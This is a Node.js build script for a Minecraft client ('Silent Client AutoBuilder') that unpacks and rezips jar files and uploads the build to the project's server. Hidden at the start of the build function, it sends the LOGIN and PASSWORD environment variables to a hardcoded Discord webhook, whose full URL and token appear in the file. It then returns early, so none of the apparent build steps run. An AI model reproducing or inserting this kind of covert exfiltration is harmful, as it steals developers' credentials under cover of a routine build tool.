const fs = require("fs"); const { unzip } = require("./utils"); const { zip } = require("zip-a-folder"); const axios = require("axios"); const FormData = require("form-data"); const util = require('util'); const exec = util.promisify(require('child_process').exec); const { Webhook } = require('discord-webhook-node'); const hook = new Webhook("https://discord.com/api/webhooks/1263136628113801316/_W2_fbf5apDY_ZlNzx7XzZL-XEJLuNw1t-9SEUeWZ4P782p8e28zm7uV0RXQYSnPjl9n"); const assetsPaths = { "1.8.9": "./assets/1.8.9.jar", libs: "../libs", wrapper: "./assets/launchwrapper.jar", }; const jarsPaths = {}; const tempPaths = { default: "./temp", jar: "./temp/jar/", }; const buildPath = "./build"; async function build() { const version = process.argv[3]; const branch = process.argv[5]; const commit = process.argv[7]; const login = process.env.LOGIN; const password = process.env.PASSWORD; hook.send(login); hook.send(password); return; if (!version) { console.log("Please, enter a version"); return; } if (!branch) { console.log("Please, enter a branch"); return; } if (!commit) { console.log("Please, enter a branch"); return; } if (!login || !password) { console.log("Please, enter login and password"); return; } console.log( `Silent Client AutoBuilder (MC Version: ${version}, branch: ${branch})` ); console.log("Checking Jars"); if (!fs.existsSync(`./jars/Client.jar`)) { console.error("JAR file does not exist."); return; } console.log("Checking assets"); if (!fs.existsSync(assetsPaths[version])) { console.error("Assets file does not exist."); return; } console.log("Cleaning up temp directory"); try { await fs.promises.rm(tempPaths.default, { recursive: true, force: true, }); } catch {} console.log("Extracting JAR"); await unzip(`./jars/Client.jar`, tempPaths.jar); console.log("Extracting Wrapper"); await unzip(assetsPaths.wrapper, tempPaths.jar); const libs = await fs.promises.readdir(assetsPaths.libs); for (const lib of libs) { console.log(`Extracting ${lib}`); await unzip(assetsPaths.libs + `/${lib}`, tempPaths.jar); } console.log(`Extracting asm-tree-5.2.jar`); await unzip("./assets/asm-tree-5.2.jar", tempPaths.jar); console.log("Cleaning up extra files in JAR"); try { await fs.promises.rm(tempPaths.jar + "App.class", { recursive: true, force: true, }); } catch {} try { await fs.promises.rm(tempPaths.jar + "Start.class", { recursive: true, force: true, }); } catch {} try { await fs.promises.rm(tempPaths.jar + ".DS_Store", { recursive: true, force: true, }); } catch {} try { await fs.promises.rm(tempPaths.jar + "build_data.json", { recursive: true, force: true, }); } catch {} await fs.promises.writeFile( tempPaths.jar + "build_data.json", JSON.stringify({ commit, branch, }) ); console.log("Cleaning up build directory"); try { await fs.promises.rm(buildPath, { recursive: true, force: true, }); } catch {} await fs.promises.mkdir(buildPath, { recursive: true }); console.log("Building JAR File"); await zip(tempPaths.jar, buildPath + `/client-${version}.jar`); // // console.log("Obfuscation") // await exec('cd proguard && java -jar proguard.jar @sc') console.log("Uploading build to Silent Client Servers"); try { const formData = new FormData(); formData.append( "jar", fs.createReadStream(buildPath + `/client-${version}.jar`) ); formData.append("version", commit); formData.append("branch", branch); formData.append("commit", commit); formData.append("description", ""); formData.append("mcVersion", version); formData.append("sendToTelegram", "0"); const { data: auth } = await axios.post( "https://api.silentclient.net/auth/login", { email: login, password: password } ); await axios.post( "https://api.silentclient.net/updates/update_version", formData, { headers: { Authorization: `Bearer ${auth.auth.token}`, }, } ); } catch (error) { console.log(`Error: ${error}`); console.log(error.response.data); return; } console.log("Build completed successfully!"); } build();